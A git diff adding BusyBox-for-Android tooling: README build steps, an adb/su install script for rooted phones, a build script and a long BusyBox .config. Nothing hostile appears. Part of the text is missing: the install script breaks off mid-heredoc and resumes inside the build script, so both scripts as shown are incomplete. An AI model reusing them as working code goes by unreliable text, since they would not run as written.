[here] +(http://www.codesourcery.com/sgpp/lite/arm/portal/subscription?@template=lite) +(unless you already have a working toolchain installed). Make sure the binaries +directory is in your PATH. +2. Get and unpack the latest source for Busybox. +3. Apply `busybox-android.patch` from the git repo to Busybox source if you +want to be able to use the profile and history under Android. +4. Copy `busybox-android.config` from the git into Busybox's source root and +rename it to `.config`. Edit it and make sure `CONFIG_CROSS_COMPILER_PREFIX` is +correctly set to your compiler's name. +5. Run `make` and you should obtain the `busybox` binary. + +TODO +---- +Cleanup, proper configuration options and upstream integration, maybe? + +Feedback & contact +------------------ +Alexandre Courbot + diff --git b/tools/busybox-android/android-install.sh a/tools/busybox-android/android-install.sh new file mode 100755 index 0000000..1f35953 --- /dev/null +++ a/tools/busybox-android/android-install.sh @@ -0,0 +1,102 @@ +#!/bin/bash + +# ryan: +# I modified the original script as below for use with my rooted Atrix phone. +# I'm using a retail build that still thinks it's a production device. +# The best way to state this is that ro.secure=1 in default.prop, but su +# executes under a shell on the device and yields root permissions +# +# Another oddity that I encountered is that mv can fail giving +# errors citing cross-device linkage: +# It seems that this error is given because mv tries +# to move the hard link to the data, but fails because +# in this case, the src and dest filesystems aren't the same. +# +# Symptoms of this state are that the following adb commands fail (not an ordered list, but executing any atomically): +# adb remount +# adb ls /data/app/ +# adb root +# but executing this works fine: +# adb shell +# $ su +# $ ls /data/app/ +# +# Gnurou: +# Another issue is that some devices come with most basic commands like mount +# removed, which requires us to use BB to remount /system read-write. This is +# why we first upload BB to a temporary, executable location before moving it +# to /system/bin + +LOCAL_DIR=`dirname $0` +BBNAME=busybox-android +LOCALBB=${LOCAL_DIR}/${BBNAME} +SCRIPT='android-remote-install.sh' +# /data is preferred over /sdcard because it will allow us to execute BB +TMP='/data/' +TMPBB=${TMP}busybox +TGT='/system/xbin/' +TGTBB=${TGT}busybox + +function doMain() +{ + # try to remount /system r/w + adb remount + adb shell mount |grep "\bsystem\b" |grep "\brw\b" + # this is a remount form that works on "partially rooted devices" + if [ $? -ne 0 ]; then + adb push $LOCALBB $TMPBB + adb shell < /dev/null + patch -p1 < ../busybox-android.patch + cp ../busybox-android.config .config + sed "s/CONFIG_CROSS_COMPILER_PREFIX=\".*\"\$/CONFIG_CROSS_COMPILER_PREFIX=\"$CROSS_COMPILER_PREFIX\"/g" -i .config + yes '' | make oldconfig + popd > /dev/null + rm $BUSYBOX_ARCHIVE +fi + +pushd $BUSYBOX > /dev/null +make -j $((NCPU*2)) +cp busybox ../ +make clean +popd > /dev/null diff --git b/tools/busybox-android/busybox-android.config a/tools/busybox-android/busybox-android.config new file mode 100644 index 0000000..6c23fac --- /dev/null +++ a/tools/busybox-android/busybox-android.config @@ -0,0 +1,1034 @@ +# +# Automatically generated make config: don't edit +# Busybox version: 1.22.1 +# Thu Feb 27 12:18:39 2014 +# +CONFIG_HAVE_DOT_CONFIG=y + +# +# Busybox Settings +# + +# +# General Configuration +# +# CONFIG_DESKTOP is not set +# CONFIG_EXTRA_COMPAT is not set +CONFIG_INCLUDE_SUSv2=y +# CONFIG_USE_PORTABLE_CODE is not set +CONFIG_PLATFORM_LINUX=y +CONFIG_FEATURE_BUFFERS_USE_MALLOC=y +# CONFIG_FEATURE_BUFFERS_GO_ON_STACK is not set +# CONFIG_FEATURE_BUFFERS_GO_IN_BSS is not set +CONFIG_SHOW_USAGE=y +CONFIG_FEATURE_VERBOSE_USAGE=y +CONFIG_FEATURE_COMPRESS_USAGE=y +CONFIG_FEATURE_INSTALLER=y +# CONFIG_INSTALL_NO_USR is not set +# CONFIG_LOCALE_SUPPORT is not set +CONFIG_UNICODE_SUPPORT=y +# CONFIG_UNICODE_USING_LOCALE is not set +# CONFIG_FEATURE_CHECK_UNICODE_IN_ENV is not set +CONFIG_SUBST_WCHAR=63 +CONFIG_LAST_SUPPORTED_WCHAR=767 +# CONFIG_UNICODE_COMBINING_WCHARS is not set +# CONFIG_UNICODE_WIDE_WCHARS is not set +# CONFIG_UNICODE_BIDI_SUPPORT is not set +# CONFIG_UNICODE_NEUTRAL_TABLE is not set +# CONFIG_UNICODE_PRESERVE_BROKEN is not set +CONFIG_LONG_OPTS=y +CONFIG_FEATURE_DEVPTS=y +# CONFIG_FEATURE_CLEAN_UP is not set +CONFIG_FEATURE_UTMP=y +CONFIG_FEATURE_WTMP=y +CONFIG_FEATURE_PIDFILE=y +CONFIG_PID_FILE_PATH="/var/run" +CONFIG_FEATURE_SUID=y +CONFIG_FEATURE_SUID_CONFIG=y +CONFIG_FEATURE_SUID_CONFIG_QUIET=y +# CONFIG_SELINUX is not set +# CONFIG_FEATURE_PREFER_APPLETS is not set +CONFIG_BUSYBOX_EXEC_PATH="/proc/self/exe" +CONFIG_FEATURE_SYSLOG=y +CONFIG_FEATURE_HAVE_RPC=y + +# +# Build Options +# +CONFIG_STATIC=y +# CONFIG_PIE is not set +# CONFIG_NOMMU is not set +# CONFIG_BUILD_LIBBUSYBOX is not set +# CONFIG_FEATURE_INDIVIDUAL is not set +# CONFIG_FEATURE_SHARED_BUSYBOX is not set +CONFIG_LFS=y +CONFIG_CROSS_COMPILER_PREFIX="arm-none-linux-gnueabi-" +CONFIG_SYSROOT="" +CONFIG_EXTRA_CFLAGS="" +CONFIG_EXTRA_LDFLAGS="" +CONFIG_EXTRA_LDLIBS="" + +# +# Debugging Options +# +# CONFIG_DEBUG is not set +# CONFIG_DEBUG_PESSIMIZE is not set +# CONFIG_WERROR is not set +CONFIG_NO_DEBUG_LIB=y +# CONFIG_DMALLOC is not set +# CONFIG_EFENCE is not set + +# +# Installation Options ("make install" behavior) +# +CONFIG_INSTALL_APPLET_SYMLINKS=y +# CONFIG_INSTALL_APPLET_HARDLINKS is not set +# CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS is not set +# CONFIG_INSTALL_APPLET_DONT is not set +# CONFIG_INSTALL_SH_APPLET_SYMLINK is not set +# CONFIG_INSTALL_SH_APPLET_HARDLINK is not set +# CONFIG_INSTALL_SH_APPLET_SCRIPT_WRAPPER is not set +CONFIG_PREFIX="./_install" + +# +# Busybox Library Tuning +# +# CONFIG_FEATURE_SYSTEMD is not set +# CONFIG_FEATURE_RTMINMAX is not set +CONFIG_PASSWORD_MINLEN=6 +CONFIG_MD5_SMALL=1 +CONFIG_SHA3_SMALL=1 +CONFIG_FEATURE_FAST_TOP=y +# CONFIG_FEATURE_ETC_NETWORKS is not set +CONFIG_FEATURE_USE_TERMIOS=y +CONFIG_FEATURE_EDITING=y +CONFIG_FEATURE_EDITING_MAX_LEN=1024 +CONFIG_FEATURE_EDITING_VI=y +CONFIG_FEATURE_EDITING_HISTORY=255 +CONFIG_FEATURE_EDITING_SAVEHISTORY=y +# CONFIG_FEATURE_EDITING_SAVE_ON_EXIT is not set +CONFIG_FEATURE_REVERSE_SEARCH=y +CONFIG_FEATURE_TAB_COMPLETION=y +# CONFIG_FEATURE_USERNAME_COMPLETION is not set +CONFIG_FEATURE_EDITING_FANCY_PROMPT=y +CONFIG_FEATURE_EDITING_ASK_TERMINAL=y +CONFIG_FEATURE_NON_POSIX_CP=y +CONFIG_FEATURE_VERBOSE_CP_MESSAGE=y +CONFIG_FEATURE_COPYBUF_KB=4 +CONFIG_FEATURE_SKIP_ROOTFS=y +CONFIG_MONOTONIC_SYSCALL=y +CONFIG_IOCTL_HEX2STR_ERROR=y +CONFIG_FEATURE_HWIB=y + +# +# Applets +# + +# +# Archival Utilities +# +CONFIG_FEATURE_SEAMLESS_XZ=y +CONFIG_FEATURE_SEAMLESS_LZMA=y +CONFIG_FEATURE_SEAMLESS_BZ2=y +CONFIG_FEATURE_SEAMLESS_GZ=y +CONFIG_FEATURE_SEAMLESS_Z=y +CONFIG_AR=y +CONFIG_FEATURE_AR_LONG_FILENAMES=y +CONFIG_FEATURE_AR_CREATE=y +CONFIG_UNCOMPRESS=y +CONFIG_GUNZIP=y +CONFIG_BUNZIP2=y +CONFIG_UNLZMA=y +CONFIG_FEATURE_LZMA_FAST=y +CONFIG_LZMA=y +CONFIG_UNXZ=y +CONFIG_XZ=y +CONFIG_BZIP2=y +CONFIG_CPIO=y +CONFIG_FEATURE_CPIO_O=y +CONFIG_FEATURE_CPIO_P=y +# CONFIG_DPKG is not set +# CONFIG_DPKG_DEB is not set +# CONFIG_FEATURE_DPKG_DEB_EXTRACT_ONLY is not set +CONFIG_GZIP=y +CONFIG_FEATURE_GZIP_LONG_OPTIONS=y +CONFIG_GZIP_FAST=0 +CONFIG_LZOP=y +# CONFIG_LZOP_COMPR_HIGH is not set +CONFIG_RPM2CPIO=y +CONFIG_RPM=y +CONFIG_TAR=y +CONFIG_FEATURE_TAR_CREATE=y +CONFIG_FEATURE_TAR_AUTODETECT=y +CONFIG_FEATURE_TAR_FROM=y +CONFIG_FEATURE_TAR_OLDGNU_COMPATIBILITY=y +CONFIG_FEATURE_TAR_OLDSUN_COMPATIBILITY=y +CONFIG_FEATURE_TAR_GNU_EXTENSIONS=y +CONFIG_FEATURE_TAR_LONG_OPTIONS=y +CONFIG_FEATURE_TAR_TO_COMMAND=y +CONFIG_FEATURE_TAR_UNAME_GNAME=y +CONFIG_FEATURE_TAR_NOPRESERVE_TIME=y +# CONFIG_FEATURE_TAR_SELINUX is not set +CONFIG_UNZIP=y + +# +# Coreutils +# +CONFIG_BASENAME=y +CONFIG_CAT=y +CONFIG_DATE=y +CONFIG_FEATURE_DATE_ISOFMT=y +# CONFIG_FEATURE_DATE_NANO is not set +CONFIG_FEATURE_DATE_COMPAT=y +CONFIG_HOSTID=y +CONFIG_ID=y +CONFIG_GROUPS=y +CONFIG_TEST=y +CONFIG_FEATURE_TEST_64=y +CONFIG_TOUCH=y +CONFIG_FEATURE_TOUCH_NODEREF=y +CONFIG_FEATURE_TOUCH_SUSV3=y +CONFIG_TR=y +CONFIG_FEATURE_TR_CLASSES=y +CONFIG_FEATURE_TR_EQUIV=y +CONFIG_BASE64=y +CONFIG_WHO=y +CONFIG_USERS=y +CONFIG_CAL=y +CONFIG_CATV=y +CONFIG_CHGRP=y +CONFIG_CHMOD=y +CONFIG_CHOWN=y +CONFIG_FEATURE_CHOWN_LONG_OPTIONS=y +CONFIG_CHROOT=y +CONFIG_CKSUM=y +CONFIG_COMM=y +CONFIG_CP=y +CONFIG_FEATURE_CP_LONG_OPTIONS=y +CONFIG_CUT=y +CONFIG_DD=y +CONFIG_FEATURE_DD_SIGNAL_HANDLING=y +CONFIG_FEATURE_DD_THIRD_STATUS_LINE=y +CONFIG_FEATURE_DD_IBS_OBS=y +CONFIG_DF=y +CONFIG_FEATURE_DF_FANCY=y +CONFIG_DIRNAME=y +CONFIG_DOS2UNIX=y +CONFIG_UNIX2DOS=y +CONFIG_DU=y +CONFIG_FEATURE_DU_DEFAULT_BLOCKSIZE_1K=y +CONFIG_ECHO=y +CONFIG_FEATURE_FANCY_ECHO=y +CONFIG_ENV=y +CONFIG_FEATURE_ENV_LONG_OPTIONS=y +CONFIG_EXPAND=y +CONFIG_FEATURE_EXPAND_LONG_OPTIONS=y +CONFIG_EXPR=y +CONFIG_EXPR_MATH_SUPPORT_64=y +CONFIG_FALSE=y +CONFIG_FOLD=y +CONFIG_FSYNC=y +CONFIG_HEAD=y +CONFIG_FEATURE_FANCY_HEAD=y +CONFIG_INSTALL=y +CONFIG_FEATURE_INSTALL_LONG_OPTIONS=y +CONFIG_LN=y +CONFIG_LOGNAME=y +CONFIG_LS=y +CONFIG_FEATURE_LS_FILETYPES=y +CONFIG_FEATURE_LS_FOLLOWLINKS=y +CONFIG_FEATURE_LS_RECURSIVE=y +CONFIG_FEATURE_LS_SORTFILES=y +CONFIG_FEATURE_LS_TIMESTAMPS=y +CONFIG_FEATURE_LS_USERNAME=y +CONFIG_FEATURE_LS_COLOR=y +CONFIG_FEATURE_LS_COLOR_IS_DEFAULT=y +CONFIG_MD5SUM=y +CONFIG_MKDIR=y +CONFIG_FEATURE_MKDIR_LONG_OPTIONS=y +CONFIG_MKFIFO=y +CONFIG_MKNOD=y +CONFIG_MV=y +CONFIG_FEATURE_MV_LONG_OPTIONS=y +CONFIG_NICE=y +CONFIG_NOHUP=y +CONFIG_OD=y +CONFIG_PRINTENV=y +CONFIG_PRINTF=y +CONFIG_PWD=y +CONFIG_READLINK=y +CONFIG_FEATURE_READLINK_FOLLOW=y +CONFIG_REALPATH=y +CONFIG_RM=y +CONFIG_RMDIR=y +CONFIG_FEATURE_RMDIR_LONG_OPTIONS=y +CONFIG_SEQ=y +CONFIG_SHA1SUM=y +CONFIG_SHA256SUM=y +CONFIG_SHA512SUM=y +CONFIG_SHA3SUM=y +CONFIG_SLEEP=y +CONFIG_FEATURE_FANCY_SLEEP=y +CONFIG_FEATURE_FLOAT_SLEEP=y +CONFIG_SORT=y +CONFIG_FEATURE_SORT_BIG=y +CONFIG_SPLIT=y +CONFIG_FEATURE_SPLIT_FANCY=y +CONFIG_STAT=y +CONFIG_FEATURE_STAT_FORMAT=y +CONFIG_STTY=y +CONFIG_SUM=y +CONFIG_SYNC=y +CONFIG_TAC=y +CONFIG_TAIL=y +CONFIG_FEATURE_FANCY_TAIL=y +CONFIG_TEE=y +CONFIG_FEATURE_TEE_USE_BLOCK_IO=y +CONFIG_TRUE=y +CONFIG_TTY=y +CONFIG_UNAME=y +CONFIG_UNEXPAND=y +CONFIG_FEATURE_UNEXPAND_LONG_OPTIONS=y +CONFIG_UNIQ=y +CONFIG_USLEEP=y +CONFIG_UUDECODE=y +CONFIG_UUENCODE=y +CONFIG_WC=y +CONFIG_FEATURE_WC_LARGE=y +CONFIG_WHOAMI=y +CONFIG_YES=y + +# +# Common options for cp and mv +# +CONFIG_FEATURE_PRESERVE_HARDLINKS=y + +# +# Common options for ls, more and telnet +# +CONFIG_FEATURE_AUTOWIDTH=y + +# +# Common options for df, du, ls +# +CONFIG_FEATURE_HUMAN_READABLE=y + +# +# Common options for md5sum, sha1sum, sha256sum, sha512sum, sha3sum +# +CONFIG_FEATURE_MD5_SHA1_SUM_CHECK=y + +# +# Console Utilities +# +CONFIG_CHVT=y +CONFIG_FGCONSOLE=y +CONFIG_CLEAR=y +CONFIG_DEALLOCVT=y +CONFIG_DUMPKMAP=y +CONFIG_KBD_MODE=y +CONFIG_LOADFONT=y +CONFIG_LOADKMAP=y +CONFIG_OPENVT=y +CONFIG_RESET=y +CONFIG_RESIZE=y +CONFIG_FEATURE_RESIZE_PRINT=y +CONFIG_SETCONSOLE=y +CONFIG_FEATURE_SETCONSOLE_LONG_OPTIONS=y +CONFIG_SETFONT=y +CONFIG_FEATURE_SETFONT_TEXTUAL_MAP=y +CONFIG_DEFAULT_SETFONT_DIR="" +CONFIG_SETKEYCODES=y +CONFIG_SETLOGCONS=y +CONFIG_SHOWKEY=y + +# +# Common options for loadfont and setfont +# +CONFIG_FEATURE_LOADFONT_PSF2=y +CONFIG_FEATURE_LOADFONT_RAW=y + +# +# Debian Utilities +# +CONFIG_MKTEMP=y +CONFIG_PIPE_PROGRESS=y +CONFIG_RUN_PARTS=y +CONFIG_FEATURE_RUN_PARTS_LONG_OPTIONS=y +CONFIG_FEATURE_RUN_PARTS_FANCY=y +CONFIG_START_STOP_DAEMON=y +CONFIG_FEATURE_START_STOP_DAEMON_FANCY=y +CONFIG_FEATURE_START_STOP_DAEMON_LONG_OPTIONS=y +CONFIG_WHICH=y + +# +# Editors +# +CONFIG_AWK=y +CONFIG_FEATURE_AWK_LIBM=y +CONFIG_FEATURE_AWK_GNU_EXTENSIONS=y +CONFIG_CMP=y +CONFIG_DIFF=y +CONFIG_FEATURE_DIFF_LONG_OPTIONS=y +CONFIG_FEATURE_DIFF_DIR=y +CONFIG_ED=y +CONFIG_PATCH=y +CONFIG_SED=y +CONFIG_VI=y +CONFIG_FEATURE_VI_MAX_LEN=4096 +CONFIG_FEATURE_VI_8BIT=y +CONFIG_FEATURE_VI_COLON=y +CONFIG_FEATURE_VI_YANKMARK=y +CONFIG_FEATURE_VI_SEARCH=y +CONFIG_FEATURE_VI_REGEX_SEARCH=y +CONFIG_FEATURE_VI_USE_SIGNALS=y +CONFIG_FEATURE_VI_DOT_CMD=y +CONFIG_FEATURE_VI_READONLY=y +CONFIG_FEATURE_VI_SETOPTS=y +CONFIG_FEATURE_VI_SET=y +CONFIG_FEATURE_VI_WIN_RESIZE=y +CONFIG_FEATURE_VI_ASK_TERMINAL=y +CONFIG_FEATURE_ALLOW_EXEC=y + +# +# Finding Utilities +# +CONFIG_FIND=y +CONFIG_FEATURE_FIND_PRINT0=y +CONFIG_FEATURE_FIND_MTIME=y +CONFIG_FEATURE_FIND_MMIN=y +CONFIG_FEATURE_FIND_PERM=y +CONFIG_FEATURE_FIND_TYPE=y +CONFIG_FEATURE_FIND_XDEV=y +CONFIG_FEATURE_FIND_MAXDEPTH=y +CONFIG_FEATURE_FIND_NEWER=y +CONFIG_FEATURE_FIND_INUM=y +CONFIG_FEATURE_FIND_EXEC=y +CONFIG_FEATURE_FIND_USER=y +CONFIG_FEATURE_FIND_GROUP=y +CONFIG_FEATURE_FIND_NOT=y +CONFIG_FEATURE_FIND_DEPTH=y +CONFIG_FEATURE_FIND_PAREN=y +CONFIG_FEATURE_FIND_SIZE=y +CONFIG_FEATURE_FIND_PRUNE=y +CONFIG_FEATURE_FIND_DELETE=y +CONFIG_FEATURE_FIND_PATH=y +CONFIG_FEATURE_FIND_REGEX=y +# CONFIG_FEATURE_FIND_CONTEXT is not set +CONFIG_FEATURE_FIND_LINKS=y +CONFIG_GREP=y +CONFIG_FEATURE_GREP_EGREP_ALIAS=y +CONFIG_FEATURE_GREP_FGREP_ALIAS=y +CONFIG_FEATURE_GREP_CONTEXT=y +CONFIG_XARGS=y +CONFIG_FEATURE_XARGS_SUPPORT_CONFIRMATION=y +CONFIG_FEATURE_XARGS_SUPPORT_QUOTES=y +CONFIG_FEATURE_XARGS_SUPPORT_TERMOPT=y +CONFIG_FEATURE_XARGS_SUPPORT_ZERO_TERM=y + +# +# Init Utilities +# +CONFIG_BOOTCHARTD=y +CONFIG_FEATURE_BOOTCHARTD_BLOATED_HEADER=y +CONFIG_FEATURE_BOOTCHARTD_CONFIG_FILE=y +CONFIG_HALT=y +# CONFIG_FEATURE_CALL_TELINIT is not set +CONFIG_TELINIT_PATH="" +CONFIG_INIT=y +CONFIG_FEATURE_USE_INITTAB=y +# CONFIG_FEATURE_KILL_REMOVED is not set +CONFIG_FEATURE_KILL_DELAY=0 +CONFIG_FEATURE_INIT_SCTTY=y +CONFIG_FEATURE_INIT_SYSLOG=y +CONFIG_FEATURE_EXTRA_QUIET=y +CONFIG_FEATURE_INIT_COREDUMPS=y +CONFIG_FEATURE_INITRD=y +CONFIG_INIT_TERMINAL_TYPE="linux" +CONFIG_MESG=y +CONFIG_FEATURE_MESG_ENABLE_ONLY_GROUP=y + +# +# Login/Password Management Utilities +# +CONFIG_ADD_SHELL=y +CONFIG_REMOVE_SHELL=y +CONFIG_FEATURE_SHADOWPASSWDS=y +CONFIG_USE_BB_PWD_GRP=y +CONFIG_USE_BB_SHADOW=y +CONFIG_USE_BB_CRYPT=y +CONFIG_USE_BB_CRYPT_SHA=y +CONFIG_ADDUSER=y +CONFIG_FEATURE_ADDUSER_LONG_OPTIONS=y +# CONFIG_FEATURE_CHECK_NAMES is not set +CONFIG_FIRST_SYSTEM_ID=100 +CONFIG_LAST_SYSTEM_ID=999 +CONFIG_ADDGROUP=y +CONFIG_FEATURE_ADDGROUP_LONG_OPTIONS=y +CONFIG_FEATURE_ADDUSER_TO_GROUP=y +CONFIG_DELUSER=y +CONFIG_DELGROUP=y +CONFIG_FEATURE_DEL_USER_FROM_GROUP=y +CONFIG_GETTY=y +CONFIG_LOGIN=y +# CONFIG_LOGIN_SESSION_AS_CHILD is not set +# CONFIG_PAM is not set +CONFIG_LOGIN_SCRIPTS=y +CONFIG_FEATURE_NOLOGIN=y +CONFIG_FEATURE_SECURETTY=y +CONFIG_PASSWD=y +CONFIG_FEATURE_PASSWD_WEAK_CHECK=y +CONFIG_CRYPTPW=y +CONFIG_CHPASSWD=y +CONFIG_FEATURE_DEFAULT_PASSWD_ALGO="des" +# CONFIG_SU is not set +# CONFIG_FEATURE_SU_SYSLOG is not set +# CONFIG_FEATURE_SU_CHECKS_SHELLS is not set +CONFIG_SULOGIN=y +CONFIG_VLOCK=y + +# +# Linux Ext2 FS Progs +# +CONFIG_CHATTR=y +CONFIG_FSCK=y +CONFIG_LSATTR=y +CONFIG_TUNE2FS=y + +# +# Linux Module Utilities +# +CONFIG_MODINFO=y +CONFIG_MODPROBE_SMALL=y +CONFIG_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE=y +CONFIG_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED=y +# CONFIG_INSMOD is not set +# CONFIG_RMMOD is not set +# CONFIG_LSMOD is not set +# CONFIG_FEATURE_LSMOD_PRETTY_2_6_OUTPUT is not set +# CONFIG_MODPROBE is not set +# CONFIG_FEATURE_MODPROBE_BLACKLIST is not set +# CONFIG_DEPMOD is not set + +# +# Options common to multiple modutils +# +# CONFIG_FEATURE_2_4_MODULES is not set +# CONFIG_FEATURE_INSMOD_TRY_MMAP is not set +# CONFIG_FEATURE_INSMOD_VERSION_CHECKING is not set +# CONFIG_FEATURE_INSMOD_KSYMOOPS_SYMBOLS is not set +# CONFIG_FEATURE_INSMOD_LOADINKMEM is not set +# CONFIG_FEATURE_INSMOD_LOAD_MAP is not set +# CONFIG_FEATURE_INSMOD_LOAD_MAP_FULL is not set +# CONFIG_FEATURE_CHECK_TAINTED_MODULE is not set +# CONFIG_FEATURE_MODUTILS_ALIAS is not set +# CONFIG_FEATURE_MODUTILS_SYMBOLS is not set +CONFIG_DEFAULT_MODULES_DIR="/lib/modules" +CONFIG_DEFAULT_DEPMOD_FILE="modules.dep" + +# +# Linux System Utilities +# +CONFIG_BLOCKDEV=y +CONFIG_FSTRIM=y +CONFIG_MDEV=y +CONFIG_FEATURE_MDEV_CONF=y +CONFIG_FEATURE_MDEV_RENAME=y +CONFIG_FEATURE_MDEV_RENAME_REGEXP=y +CONFIG_FEATURE_MDEV_EXEC=y +CONFIG_FEATURE_MDEV_LOAD_FIRMWARE=y +CONFIG_REV=y +CONFIG_ACPID=y +CONFIG_FEATURE_ACPID_COMPAT=y +CONFIG_BLKID=y +# CONFIG_FEATURE_BLKID_TYPE is not set +CONFIG_DMESG=y +CONFIG_FEATURE_DMESG_PRETTY=y +CONFIG_FBSET=y +CONFIG_FEATURE_FBSET_FANCY=y +CONFIG_FEATURE_FBSET_READMODE=y +CONFIG_FDFLUSH=y +CONFIG_FDFORMAT=y +CONFIG_FDISK=y +# CONFIG_FDISK_SUPPORT_LARGE_DISKS is not set +CONFIG_FEATURE_FDISK_WRITABLE=y +# CONFIG_FEATURE_AIX_LABEL is not set +# CONFIG_FEATURE_SGI_LABEL is not set +# CONFIG_FEATURE_SUN_LABEL is not set +# CONFIG_FEATURE_OSF_LABEL is not set +# CONFIG_FEATURE_GPT_LABEL is not set +CONFIG_FEATURE_FDISK_ADVANCED=y +CONFIG_FINDFS=y +CONFIG_FLOCK=y +CONFIG_FREERAMDISK=y +CONFIG_FSCK_MINIX=y +CONFIG_MKFS_EXT2=y +CONFIG_MKFS_MINIX=y +CONFIG_FEATURE_MINIX2=y +# CONFIG_MKFS_REISER is not set +CONFIG_MKFS_VFAT=y +CONFIG_GETOPT=y +CONFIG_FEATURE_GETOPT_LONG=y +CONFIG_HEXDUMP=y +CONFIG_FEATURE_HEXDUMP_REVERSE=y +CONFIG_HD=y +CONFIG_HWCLOCK=y +CONFIG_FEATURE_HWCLOCK_LONG_OPTIONS=y +# CONFIG_FEATURE_HWCLOCK_ADJTIME_FHS is not set +CONFIG_IPCRM=y +CONFIG_IPCS=y +CONFIG_LOSETUP=y +CONFIG_LSPCI=y +CONFIG_LSUSB=y +CONFIG_MKSWAP=y +CONFIG_FEATURE_MKSWAP_UUID=y +CONFIG_MORE=y +CONFIG_MOUNT=y +CONFIG_FEATURE_MOUNT_FAKE=y +CONFIG_FEATURE_MOUNT_VERBOSE=y +CONFIG_FEATURE_MOUNT_HELPERS=y +CONFIG_FEATURE_MOUNT_LABEL=y +CONFIG_FEATURE_MOUNT_NFS=y +CONFIG_FEATURE_MOUNT_CIFS=y +CONFIG_FEATURE_MOUNT_FLAGS=y +CONFIG_FEATURE_MOUNT_FSTAB=y +CONFIG_PIVOT_ROOT=y +CONFIG_RDATE=y +CONFIG_RDEV=y +CONFIG_READPROFILE=y +CONFIG_RTCWAKE=y +CONFIG_SCRIPT=y +CONFIG_SCRIPTREPLAY=y +CONFIG_SETARCH=y +CONFIG_SWAPONOFF=y +CONFIG_FEATURE_SWAPON_PRI=y +CONFIG_SWITCH_ROOT=y +CONFIG_UMOUNT=y +CONFIG_FEATURE_UMOUNT_ALL=y + +# +# Common options for mount/umount +# +CONFIG_FEATURE_MOUNT_LOOP=y +CONFIG_FEATURE_MOUNT_LOOP_CREATE=y +# CONFIG_FEATURE_MTAB_SUPPORT is not set +CONFIG_VOLUMEID=y + +# +# Filesystem/Volume identification +# +CONFIG_FEATURE_VOLUMEID_BTRFS=y +CONFIG_FEATURE_VOLUMEID_CRAMFS=y +CONFIG_FEATURE_VOLUMEID_EXFAT=y +CONFIG_FEATURE_VOLUMEID_EXT=y +CONFIG_FEATURE_VOLUMEID_F2FS=y +CONFIG_FEATURE_VOLUMEID_FAT=y +CONFIG_FEATURE_VOLUMEID_HFS=y +CONFIG_FEATURE_VOLUMEID_ISO9660=y +CONFIG_FEATURE_VOLUMEID_JFS=y +CONFIG_FEATURE_VOLUMEID_LINUXRAID=y +CONFIG_FEATURE_VOLUMEID_LINUXSWAP=y +CONFIG_FEATURE_VOLUMEID_LUKS=y +CONFIG_FEATURE_VOLUMEID_NILFS=y +CONFIG_FEATURE_VOLUMEID_NTFS=y +CONFIG_FEATURE_VOLUMEID_OCFS2=y +CONFIG_FEATURE_VOLUMEID_REISERFS=y +CONFIG_FEATURE_VOLUMEID_ROMFS=y +# CONFIG_FEATURE_VOLUMEID_SQUASHFS is not set +CONFIG_FEATURE_VOLUMEID_SYSV=y +CONFIG_FEATURE_VOLUMEID_UDF=y +CONFIG_FEATURE_VOLUMEID_XFS=y + +# +# Miscellaneous Utilities +# +# CONFIG_CONSPY is not set +CONFIG_LESS=y +CONFIG_FEATURE_LESS_MAXLINES=9999999 +CONFIG_FEATURE_LESS_BRACKETS=y +CONFIG_FEATURE_LESS_FLAGS=y +CONFIG_FEATURE_LESS_MARKS=y +CONFIG_FEATURE_LESS_REGEXP=y +CONFIG_FEATURE_LESS_WINCH=y +CONFIG_FEATURE_LESS_ASK_TERMINAL=y +CONFIG_FEATURE_LESS_DASHCMD=y +CONFIG_FEATURE_LESS_LINENUMS=y +# CONFIG_NANDWRITE is not set +# CONFIG_NANDDUMP is not set +CONFIG_RFKILL=y +CONFIG_SETSERIAL=y +# CONFIG_UBIATTACH is not set +# CONFIG_UBIDETACH is not set +# CONFIG_UBIMKVOL is not set +# CONFIG_UBIRMVOL is not set +# CONFIG_UBIRSVOL is not set +# CONFIG_UBIUPDATEVOL is not set +CONFIG_WALL=y +CONFIG_ADJTIMEX=y +# CONFIG_BBCONFIG is not set +# CONFIG_FEATURE_COMPRESS_BBCONFIG is not set +CONFIG_BEEP=y +CONFIG_FEATURE_BEEP_FREQ=4000 +CONFIG_FEATURE_BEEP_LENGTH_MS=30 +CONFIG_CHAT=y +CONFIG_FEATURE_CHAT_NOFAIL=y +# CONFIG_FEATURE_CHAT_TTY_HIFI is not set +CONFIG_FEATURE_CHAT_IMPLICIT_CR=y +CONFIG_FEATURE_CHAT_SWALLOW_OPTS=y +CONFIG_FEATURE_CHAT_SEND_ESCAPES=y +CONFIG_FEATURE_CHAT_VAR_ABORT_LEN=y +CONFIG_FEATURE_CHAT_CLR_ABORT=y +CONFIG_CHRT=y +CONFIG_CROND=y +CONFIG_FEATURE_CROND_D=y +CONFIG_FEATURE_CROND_CALL_SENDMAIL=y +CONFIG_FEATURE_CROND_DIR="/var/spool/cron" +CONFIG_CRONTAB=y +CONFIG_DC=y +CONFIG_FEATURE_DC_LIBM=y +# CONFIG_DEVFSD is not set +# CONFIG_DEVFSD_MODLOAD is not set +# CONFIG_DEVFSD_FG_NP is not set +# CONFIG_DEVFSD_VERBOSE is not set +# CONFIG_FEATURE_DEVFS is not set +CONFIG_DEVMEM=y +CONFIG_EJECT=y +CONFIG_FEATURE_EJECT_SCSI=y +CONFIG_FBSPLASH=y +# CONFIG_FLASHCP is not set +# CONFIG_FLASH_LOCK is not set +# CONFIG_FLASH_UNLOCK is not set +# CONFIG_FLASH_ERASEALL is not set +CONFIG_IONICE=y +# CONFIG_INOTIFYD is not set +CONFIG_LAST=y +# CONFIG_FEATURE_LAST_SMALL is not set +CONFIG_FEATURE_LAST_FANCY=y +CONFIG_HDPARM=y +CONFIG_FEATURE_HDPARM_GET_IDENTITY=y +CONFIG_FEATURE_HDPARM_HDIO_SCAN_HWIF=y +CONFIG_FEATURE_HDPARM_HDIO_UNREGISTER_HWIF=y +CONFIG_FEATURE_HDPARM_HDIO_DRIVE_RESET=y +CONFIG_FEATURE_HDPARM_HDIO_TRISTATE_HWIF=y +CONFIG_FEATURE_HDPARM_HDIO_GETSET_DMA=y +CONFIG_MAKEDEVS=y +# CONFIG_FEATURE_MAKEDEVS_LEAF is not set +CONFIG_FEATURE_MAKEDEVS_TABLE=y +CONFIG_MAN=y +CONFIG_MICROCOM=y +CONFIG_MOUNTPOINT=y +CONFIG_MT=y +CONFIG_RAIDAUTORUN=y +CONFIG_READAHEAD=y +CONFIG_RUNLEVEL=y 